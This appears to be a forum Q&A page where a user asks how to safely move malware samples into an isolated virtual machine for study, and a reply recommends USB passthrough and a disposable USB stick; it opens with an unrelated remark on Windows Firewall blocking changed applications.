This is by design in the windows firewall security model - if it thinks the application has changed it doesn't know whether that is a malicious change so reverts to the default 'block' until a connection is approved by the user.


The safest way to transfer files to an offline test environment I'm wondering what the best tactic is to transfer dangerous files from an internet connected machine to an offline, separated from the web, virtual machine.

Why should I do that? Because I want to examine how small viruses, malware, spyware, etc. works, but without the risk that the beast gets released and infect my non-test devices like my personal laptop, phone, etc.

I would like to use free Virtual Machine software and plan to work with snapshots, so I'm able to redo all the damage I caused.

If this is the worst idea ever, please don't hesitate to correct me!

Use a virtual machine that can control a USB device, and that takes away control by the host machine, i.e. the host machine no longer sees the USB when it is inserted.

Then transfer the files by cheap USB stick and physically destroy it afterwards
(Or store it safely for future investigation)

Sorry, I do not know which VMs offer this (does VMware do this?).